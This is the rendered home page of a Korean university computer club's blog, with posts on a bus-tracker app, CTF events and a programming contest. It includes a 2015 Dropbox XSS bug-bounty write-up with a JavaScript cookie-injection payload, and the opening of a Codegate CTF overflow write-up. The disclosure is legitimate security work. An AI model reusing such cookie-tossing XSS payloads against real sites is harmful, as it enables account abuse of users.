-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.html
1155 lines (726 loc) · 72.4 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width">
<meta name="theme-color" content="#222"><meta name="generator" content="Hexo 6.1.0">
<link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png">
<link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png">
<link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png">
<link rel="mask-icon" href="/images/logo.svg" color="#222">
<link rel="stylesheet" href="/css/main.css">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free@6.1.1/css/all.min.css" integrity="sha256-DfWjNxDkM94fVBWx1H5BMMp0Zq7luBlV8QRcSES7s+0=" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/animate.css@3.1.1/animate.min.css" integrity="sha256-PR7ttpcvz8qrF57fur/yAx1qXMFJeJFiA6pSzWi0OIE=" crossorigin="anonymous">
<script class="next-config" data-name="main" type="application/json">{"hostname":"hexa-unist.github.io","root":"/","images":"/images","scheme":"Mist","darkmode":false,"version":"8.11.1","exturl":false,"sidebar":{"position":"left","display":"remove","padding":18,"offset":12},"copycode":false,"bookmark":{"enable":false,"color":"#222","save":"auto"},"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"stickytabs":false,"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"fadeInDown","post_body":"fadeInDown","coll_header":"fadeInLeft","sidebar":"fadeInUp"}},"prism":false,"i18n":{"placeholder":"Searching...","empty":"We didn't find any results for the search: ${query}","hits_time":"${hits} results found in ${time} ms","hits":"${hits} results found"}}</script><script src="/js/config.js"></script>
<meta name="description" content="UNIST Computer Club. Hacker's eXciting Academy">
<meta property="og:type" content="website">
<meta property="og:title" content="HeXA">
<meta property="og:url" content="http://hexa-unist.github.io/index.html">
<meta property="og:site_name" content="HeXA">
<meta property="og:description" content="UNIST Computer Club. Hacker's eXciting Academy">
<meta property="og:locale" content="en_US">
<meta property="article:author" content="HeXA">
<meta name="twitter:card" content="summary">
<link rel="canonical" href="http://hexa-unist.github.io/">
<script class="next-config" data-name="page" type="application/json">{"sidebar":"","isHome":true,"isPost":false,"lang":"en","comments":"","permalink":"","path":"index.html","title":""}</script>
<script class="next-config" data-name="calendar" type="application/json">""</script>
<title>HeXA</title>
<noscript>
<link rel="stylesheet" href="/css/noscript.css">
</noscript>
</head>
<body itemscope itemtype="http://schema.org/WebPage" class="use-motion">
<div class="headband"></div>
<main class="main">
<header class="header" itemscope itemtype="http://schema.org/WPHeader">
<div class="header-inner"><div class="site-brand-container">
<div class="site-nav-toggle">
<div class="toggle" aria-label="Toggle navigation bar" role="button">
<span class="toggle-line"></span>
<span class="toggle-line"></span>
<span class="toggle-line"></span>
</div>
</div>
<div class="site-meta">
<a href="/" class="brand" rel="start">
<i class="logo-line"></i>
<h1 class="site-title">HeXA</h1>
<i class="logo-line"></i>
</a>
</div>
<div class="site-nav-right">
<div class="toggle popup-trigger">
</div>
</div>
</div>
<nav class="site-nav">
<ul class="main-menu menu"><li class="menu-item menu-item-home"><a href="/" rel="section"><i class="fa fa-home fa-fw"></i>Home</a></li><li class="menu-item menu-item-about"><a href="/about/" rel="section"><i class="fa fa-circle-info fa-fw"></i>About</a></li><li class="menu-item menu-item-members"><a href="/members/" rel="section"><i class="fa fa-user fa-fw"></i>Members</a></li><li class="menu-item menu-item-seminar"><a href="/seminar/" rel="section"><i class="fa fa-microphone fa-fw"></i>Seminar</a></li><li class="menu-item menu-item-archives"><a href="/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>Archives</a></li><li class="menu-item menu-item-tags"><a href="/tags/" rel="section"><i class="fa fa-tags fa-fw"></i>Tags</a></li>
</ul>
</nav>
</div>
</header>
<noscript>
<div class="noscript-warning">Theme NexT works best with JavaScript enabled</div>
</noscript>
<div class="main-inner index posts-expand">
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="">
<link itemprop="mainEntityOfPage" href="http://hexa-unist.github.io/2022/02/06/Bus-HeXA-v2-0-Released/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="HeXA">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="HeXA">
<meta itemprop="description" content="UNIST Computer Club. Hacker's eXciting Academy">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="undefined | HeXA">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2022/02/06/Bus-HeXA-v2-0-Released/" class="post-title-link" itemprop="url">Bus HeXA v2.0 Released</a>
</h2>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2022-02-06 18:44:02" itemprop="dateCreated datePublished" datetime="2022-02-06T18:44:02+09:00">2022-02-06</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">Edited on</span>
<time title="Modified: 2024-07-22 21:19:40" itemprop="dateModified" datetime="2024-07-22T21:19:40+09:00">2024-07-22</time>
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<p>안녕하세요, HeXA Bus V.2 개발팀원인 HeXA 8기 심재환이라고 합니다.</p>
<p>저희 HeXA Bus V.2는 기존에 있던 HeXA Bus가 울산시의 API 변경으로 인하여 운영이 중지됨에 따라</p>
<p>새로운 기능을 추가하여 더욱 깔끔한 디자인과 함께 리뉴얼하기 위해 HeXA 동아리원들과 함께 시작하게 된 프로젝트입니다.</p>
<p>개발은 Python Django를 주로 하여 진행중입니다.</p>
<p>현재 사용 가능한 기능으로는</p>
<ul>
<li>버스의 방향에 따라 다음으로 유니스트 정류장에서 출발하는 버스의 위치와 번호 보기</li>
<li>각 버스 노선의 주요 경유역, 전체 노선, 시간표 그리고 운행중인 각각 버스의 위치와 번호 보기</li>
<li>일정 시각 이후에 출발하는 버스 찾기<br>가 있으며, 이후로도 여러 기능이 추가될 예정입니다.</li>
</ul>
<p>현재 <a target="_blank" rel="noopener" href="https://bus.hexa.pro/">bus.hexa.pro</a>에서 운영중이니 많은 관심 부탁드립니다!</p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
</div>
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="">
<link itemprop="mainEntityOfPage" href="http://hexa-unist.github.io/2021/08/21/SSTF-2021/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="HeXA">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="HeXA">
<meta itemprop="description" content="UNIST Computer Club. Hacker's eXciting Academy">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="undefined | HeXA">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2021/08/21/SSTF-2021/" class="post-title-link" itemprop="url">SSTF 2021</a>
</h2>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2021-08-21 17:42:20" itemprop="dateCreated datePublished" datetime="2021-08-21T17:42:20+09:00">2021-08-21</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">Edited on</span>
<time title="Modified: 2024-07-22 21:19:40" itemprop="dateModified" datetime="2024-07-22T21:19:40+09:00">2024-07-22</time>
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<p>안녕하세요, HeXA 11기 회장 홍준화입니다.<br>올해는 한동안 뜸했던 CTF 스터디를 다시 시작하였고,<br>해킹에 관심있는 HeXA 부원들과 함께 삼성에서 주최한 SSTF에 함께 참가하였습니다.</p>
<p>졸업하신 한충우 선배님, 오정민 선배님, 그리고 조재민 선배님도 함께 참가해주셨는데요,<br>SSTF가 종료된 이후 몇몇 문제에 대한 설명과 보안 분야에 대한 이야기를 들려주셨습니다.</p>
<p>활동 회원 중에서는 김현서님이 Logic or Die를 푸신 후 Solution을 공개하였습니다.</p>
<p>저희는 올해 처음 CTF를 시작했다보니 튜토리얼 문제 외의 문제를 많이 풀지 못했지만,<br>CTF 스터디 활동을 활성화하여 앞으로 보안 분야에 대한 활동을 확장해나갈 예정입니다.</p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
</div>
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="">
<link itemprop="mainEntityOfPage" href="http://hexa-unist.github.io/2019/11/05/Uni-CODE-2019/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="HeXA">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="HeXA">
<meta itemprop="description" content="UNIST Computer Club. Hacker's eXciting Academy">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="undefined | HeXA">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2019/11/05/Uni-CODE-2019/" class="post-title-link" itemprop="url">Uni-CODE 2019</a>
</h2>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2019-11-05 17:21:49" itemprop="dateCreated datePublished" datetime="2019-11-05T17:21:49+09:00">2019-11-05</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">Edited on</span>
<time title="Modified: 2024-07-22 21:19:40" itemprop="dateModified" datetime="2024-07-22T21:19:40+09:00">2024-07-22</time>
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<p>제 1회 UNIST 알고리즘 프로그래밍 경진대회 Uni-CODE 가 성공적으로 마무리되었습니다!!<br>총 19분이 신청해주셨고, 최종적으로 14분이 참가해주셨습니다.<br>1위는 전기전자컴퓨터공학부의 ‘한동규’님입니다.<br>다음 대회도 여러분들의 많은 참여바랍니다.<br>또한, 문제 및 풀이, 스코어보드가 공개되었습니다.</p>
<p><a target="_blank" rel="noopener" href="https://www.acmicpc.net/category/detail/2105">문제</a><br><a href="http://hexa-unist.github.io/2019/11/02/Uni-CODE-2019-solution/">풀이</a><br><a target="_blank" rel="noopener" href="https://www.acmicpc.net/contest/spotboard/472">스코어보드</a></p>
<p>글쓴이 : 박원</p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
</div>
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="">
<link itemprop="mainEntityOfPage" href="http://hexa-unist.github.io/2019/11/02/Uni-CODE-2019-solution/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="HeXA">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="HeXA">
<meta itemprop="description" content="UNIST Computer Club. Hacker's eXciting Academy">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="undefined | HeXA">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2019/11/02/Uni-CODE-2019-solution/" class="post-title-link" itemprop="url">Uni-CODE 2019 solution</a>
</h2>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2019-11-02 18:27:37" itemprop="dateCreated datePublished" datetime="2019-11-02T18:27:37+09:00">2019-11-02</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">Edited on</span>
<time title="Modified: 2024-07-22 21:19:40" itemprop="dateModified" datetime="2024-07-22T21:19:40+09:00">2024-07-22</time>
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<p>다음과 같이 solution을 제공해드립니다.<br><a href="/document/Uni-Code_solution.pdf">Download</a></p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
</div>
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="">
<link itemprop="mainEntityOfPage" href="http://hexa-unist.github.io/2016/11/28/HeXA-CTF-2016-Epilogue/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="HeXA">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="HeXA">
<meta itemprop="description" content="UNIST Computer Club. Hacker's eXciting Academy">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="undefined | HeXA">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2016/11/28/HeXA-CTF-2016-Epilogue/" class="post-title-link" itemprop="url">HeXA CTF 2016 Epilogue</a>
</h2>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2016-11-28 17:50:12" itemprop="dateCreated datePublished" datetime="2016-11-28T17:50:12+09:00">2016-11-28</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">Edited on</span>
<time title="Modified: 2024-07-22 21:19:40" itemprop="dateModified" datetime="2024-07-22T21:19:40+09:00">2024-07-22</time>
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<p>안녕하세요, 이번 HeXA CTF 2016 운영 총괄을 맡은 HeXA 회장 겸 해킹부장 김동민(SleepyBear)입니다. 아무것도 모르고 Layer7 CTF와 Holyshield CTF에 참여했던 고등학생 때가 엊그제같은데 직접 CTF를 운영하게 되었네요. </p>
<p>UNIST 교내 학생만들을 대상으로 하는, CTFTime이나 국내 고등학교, 대학교 동아리 개최 CTF들에 비해서는 작은 규모였지만 제게는 문제를 푸는 입장을 넘어서 지금까지 공부한 것을 토대로 출제진과 함께 문제를 만들어 제공하는 기회가 되어 의미있었던 것 같습니다.</p>
<h2 id="플랫폼"><a href="#플랫폼" class="headerlink" title="플랫폼"></a>플랫폼</h2><p align="center"> <img src="/img/hexactf2016-1.png" style="width: 90%;"/></p>
<p>이번 CTF에서는 페이스북에서 제공한 오픈소스 CTF 플랫폼을 사용해보았습니다. 실시간 스코어보드 및 그래프, King of the Hill(거점점령)문제 지원, Quiz 지원(대소문자를 구별하지 않는 단답형 flag), 문제별 Breakthru 지정, Admin Dashboard 기능이 마음에 들어서였습니다.</p>
<p align="center"> <img src="/img/hexactf2016-3.png" style="width: 90%;"/></p>
<p>하지만 대회 당일에 웹사이트 속도가 급격히 느려져서 대회 기간동안 진땀뺐습니다… 테스트때는 스탭들만 접속해봐서 느려진다는걸 전혀 못느꼈거든요. 서버 CPU 점유율이 점점 올라가길래 재부팅도 해보고, hhvm 퍼포먼스 관련 이슈도 해결해보겠다고 조마조마하면서 라이브 패치도 하고… 중간에 플랫폼을 옮길까 생각도 해보았지만 결국 점수 관리때문에 문제만 따로 모아둔 Google Docs를 제공할 뿐이었습니다. </p>
<p>이 밖에도 준비하는 과정에서 회원가입 시 입력한 이메일이 DB에 저장되지 않는다던가, 스코어보드 그래프가 일정 시간 이후가 표시되지 않는다던가 하는 잔버그들이 너무 많았습니다. OTL. 다음에는 HeXA CTF 2015때 이용했던 플랫폼에 이번에 마음에 들었던 기능들을 추가해서 사용할 것 같습니다.</p>
<h2 id="문제"><a href="#문제" class="headerlink" title="문제"></a>문제</h2><p align="center"> <img src="/img/hexactf2016-2.png" style="width: 90%;"/></p>
<p>저를 포함한 6명이 총 33문제를 만들었습니다. 저는 포렌식 문제를 좋아해서 포렌식 위주로 문제를 내보았습니다. 포렌식 문제에 주어진 자료를 분석하는 것과 자료를 만드는 것은 전혀 다른 경험이더라구요. 랜섬웨어에 감염되어볼까도 생각해보고, VM 이미지를 어떻게 하면 깔끔하게 만들어 제공할 수 있을까 한참 고민해보기도 했습니다. 결국 이번에 저는 기술적인 문제보다는 트릭을 이용한 문제를 많이 만들었습니다.</p>
<p>가상의 인물을 만들어 신상을 털게 해볼까 하는 아이디어에서 출발한 ‘레스토랑스의 습격’ 문제와 지하철 노선도를 이용한 뿌링클 기프티콘 이벤트문제도 dohan0930이 만들었어요. 재미있는 경험이었고 앞으로 제가 경험한 다양한 사례들을 문제에 녹여낼 수 있게 부지런히 공부해야겠다고 다짐했습니다.</p>
<h2 id="마무리"><a href="#마무리" class="headerlink" title="마무리"></a>마무리</h2><p>이번에 출제된 문제를 바탕으로 HeXA 멤버들을 위한 워게임 사이트를 만들 계획을 하고있습니다. 이런 문화를 만들어주신 선배님들께 감사하고, CTF에 참여해주신 분들도 모두 감사합니다!</p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
</div>
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="">
<link itemprop="mainEntityOfPage" href="http://hexa-unist.github.io/2015/08/04/XSS-subdomain-escape-wirte-up-on-Dropbox/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="HeXA">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="HeXA">
<meta itemprop="description" content="UNIST Computer Club. Hacker's eXciting Academy">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="undefined | HeXA">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2015/08/04/XSS-subdomain-escape-wirte-up-on-Dropbox/" class="post-title-link" itemprop="url">XSS subdomain escape wirte up (on Dropbox)</a>
</h2>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2015-08-04 22:57:30" itemprop="dateCreated datePublished" datetime="2015-08-04T22:57:30+09:00">2015-08-04</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">Edited on</span>
<time title="Modified: 2024-07-22 21:19:40" itemprop="dateModified" datetime="2024-07-22T21:19:40+09:00">2024-07-22</time>
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h2 id="Beginning"><a href="#Beginning" class="headerlink" title="Beginning"></a>Beginning</h2><p>First, I think many people know that a html file uploaded on dropbox shows with rendering, and without any escaping. It means that, if we write down a JavaScript code to the html file, we can easily execute a JavaScript code on the html page without any problem. But, the script is executed on a sandbox domain, dl-web.dropbox.com. The important session is a httponly cookie, so we can’t easily steal the user session.</p>
<p align="center"> <img src="/img/dropbox1.png" style="width: 60%;"/> </p>
<p>In this situation, I can set any cookie on dropbox.com domain (not <a target="_blank" rel="noopener" href="http://www.dropbox.com/">www.dropbox.com</a>). It means that it may be able to influence on <a target="_blank" rel="noopener" href="http://www.dropbox.com/">www.dropbox.com</a>. If main dropbox page do something using the cookie on dropbox.com, then maybe I can do something on <a target="_blank" rel="noopener" href="http://www.dropbox.com/">www.dropbox.com</a> </p>
<h2 id="Vulnerability"><a href="#Vulnerability" class="headerlink" title="Vulnerability"></a>Vulnerability</h2><p>I found a some nice thing, Flash. After cookies, “flash” and “bang”, are given, dropbox page draws a pop-up box which is containing a text in “flash”. But, “bang” was a problem. It seems like a hmac of “flash”. So, I need to find “bang” value of my custom “flash”.</p>
<p>I also found a function which unlinks device in security setting page. If I unlink a some device, then it shows me a flash message, which is containing device name. So, I set the device name (iphone name) to a XSS text, and I unlinked it. </p>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p><img src="/img/dropbox2.png"></p>
<p>Now, I can set “flash” and “bang” value to any text.</p>
<p><img src="/img/dropbox3.png"></p>
<p>Then, set the malicious cookie in a html. After that, make victim to move page to <a target="_blank" rel="noopener" href="http://www.dropbox.com/">www.dropbox.com</a> (trigger flash message).</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><script></span><br><span class="line"><span class="variable language_">document</span>.<span class="property">cookie</span>=<span class="string">"bang=QUFEZGthYS1CaTNfWUpYcDUwdjNxemVHSHlhSHJkU3BEdnhKRUxOZVZ3b2ZoUQ%3D%3D;</span></span><br><span class="line"><span class="string">Domain=dropbox.com; Path=/;"</span>;</span><br><span class="line"><span class="variable language_">document</span>.<span class="property">cookie</span>=<span class="string">"flash=b2s6PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik%2BIHVubGlua</span></span><br><span class="line"><span class="string">2VkIHN1Y2Nlc3NmdWxseS4%3D; Domain=dropbox.com; Path=/"</span>;</span><br><span class="line">location.<span class="property">href</span>=<span class="string">"https://dropbox.com/forgot"</span>;</span><br><span class="line"></script></span><br></pre></td></tr></table></figure>
<p>There is a CSP. But, the script is executed on IE or Safari.</p>
<p align="center"> <img src="/img/dropbox4.png" style="width: 80%;"/> </p>
<p>+) Currently, common XSS on dl-web.dropbox.com is out of scope for bounty.<br>+) Now, I think a flash depends on only one session. </p>
<p>2015/05/02 Fixed, A bounty of $1,331</p>
<p>Author: <a target="_blank" rel="noopener" href="http://blog.tunz.kr/">tunz</a></p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
</div>
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="">
<link itemprop="mainEntityOfPage" href="http://hexa-unist.github.io/2015/04/06/Codegate-2015-systemshock/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="HeXA">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="HeXA">
<meta itemprop="description" content="UNIST Computer Club. Hacker's eXciting Academy">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="undefined | HeXA">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2015/04/06/Codegate-2015-systemshock/" class="post-title-link" itemprop="url">Codegate 2015 - systemshock</a>
</h2>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2015-04-06 12:20:08" itemprop="dateCreated datePublished" datetime="2015-04-06T12:20:08+09:00">2015-04-06</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">Edited on</span>
<time title="Modified: 2024-07-22 21:19:40" itemprop="dateModified" datetime="2024-07-22T21:19:40+09:00">2024-07-22</time>
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<p>200점짜리 문제로, 많은 팀들이 가장먼저 푼 문제입니다. </p>
<p>문제가 나오고 정말빨리 풀렸는데, 저는 처음에 문제 제목에 현혹되어 <a target="_blank" rel="noopener" href="https://en.wikipedia.org/wiki/Shellshock_(software_bug)">shellshock</a>인줄 알고 헤메느라 시간이 많이 걸렸네요… ㅠㅠ<br>실제로 당황스럽게도 대회 서버에서 <a target="_blank" rel="noopener" href="https://en.wikipedia.org/wiki/Shellshock_(software_bug)#CVE-2014-6277">CVE-2014-6277</a>이 먹혔더라죠… ;;</p>
<p>하지만 차분히 생각해보면 <a target="_blank" rel="noopener" href="https://en.wikipedia.org/wiki/Shellshock_(software_bug)">shellshock</a>는 <code>setuid</code>가 걸려있는 바이너리안에서 <code>bash</code>를 호출해야한다는 점과 환경변수를 필요로 한다는점을 생각해보면 이 문제에서는 <a target="_blank" rel="noopener" href="https://en.wikipedia.org/wiki/Shellshock_(software_bug)">shellshock</a>를 사용할 수 없다는걸 바로 알 수 있습니다.</p>
<p>이걸 생각못해서 날린 시간이 몇시간인지.. 흙흙</p>
<p>여튼, 이 문제는 <a target="_blank" rel="noopener" href="https://en.wikipedia.org/wiki/Shellshock_(software_bug)">shellshock</a>를 이용해서 푸는 문제가 아닌 strcat을 이용한 단순한 오버플로우 문제입니다. 제대로 된 풀이만 바로 떠올리면 정말 빨리 풀 수 있는 문제이지요… 실제로 문제가 나오자마자 엄청 빠른 속도로 풀린 문제이기도 합니다.</p>
